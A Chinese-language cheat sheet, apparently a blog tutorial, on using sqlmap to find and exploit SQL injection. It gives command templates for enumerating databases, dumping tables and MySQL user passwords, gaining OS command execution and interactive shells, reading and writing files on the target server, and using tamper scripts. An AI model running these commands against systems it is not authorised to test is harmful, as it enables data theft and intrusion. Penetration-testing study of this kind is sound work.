前言
sqlmap is a software utility for automated discovering of SQL injection vulnerabilities in web applications.(维基百科)
注入点检测
<url>:包含注入点测试的URL
--batch:将交互式语句均回答是
--random-agent:随机UA
--proxy="http://<ip>:<port>":配置代理
GET请求注入点检测
POST请求注入点检测
通过命令行参数
1
| sqlmap -u <url> --data "password=admin"
|
1
| sqlmap -u <url> --data "password=admin*"
|
通过指定文件
- 将POST请求复制在文件中,使用
*作为注入点测试位置的标识符
request1 2 3 4
| POST http://127.0.0.1:80/api/item Content-Type: application/json
{"password": "admin*"}
|
<file>:POST请求文件
获取当前数据库名
--purge:清除缓存
1
| sqlmap -u <url> --current-db
|
获取所有数据库名
获取所有数据表名
-D <database_name>:指定数据库名
1
| sqlmap -u <url> --tables -D <database_name>
|
获取所有字段名
-T <table_name>:指定数据表名
1
| sqlmap -u <url> --columns -D <database_name> -T <table_name>
|
获取数据
获取所有字段的数据
1
| sqlmap -u <url> --dump -D <database_name> -T <table_name>
|
获取指定字段的数据
1
| sqlmap -u <url> --dump -D <database_name> -T <table_name> -C <field_1>,<field_2>
|
获取用户密码
1
| sqlmap -u <url> --dump -C "password" -T user -D mysql
|
利用google自动搜索注入点
携带cookie
<cookie>:cookie信息
1
| sqlmap -u <url> --cookie="<cookie>"
|
判断是否有文件读写权限
判断是否是数据库管理员
1
| sqlmap -u <url> --is-dba
|
获取权限
1
| sqlmap -u <url> --privileges
|
获取Shell
执行一条Shell命令
<shell>:Shell命令
1
| sqlmap -u <url> --os-cmd=<shell>
|
交互式Shell
1
| sqlmap -u <url> --os-shell
|
文件读写
读文件
<file>:被读取的目标站点文件的路径
1
| sqlmap -u <url> --file-read "<file>"
|
写文件
<file>:被写入的本地文件的路径
<file_target>:写入到目标站点的文件存储路径
1
| sqlmap -u <url> --file-write "<file>" --file-dest "<file_target>"
|
使用脚本注入
- 所有脚本传参时都可以省略
.py
- 在
tamper目录下可以添加自定义脚本
编码为Base64
1
| sqlmap -u <url> --tamper=base64encode.py
|
宽子节注入
1
| sqlmap -u <url> --tamper=unmagicquotes.py
|
完成
参考文献
哔哩哔哩——千锋网络安
哔哩哔哩——逆风微笑的代码狗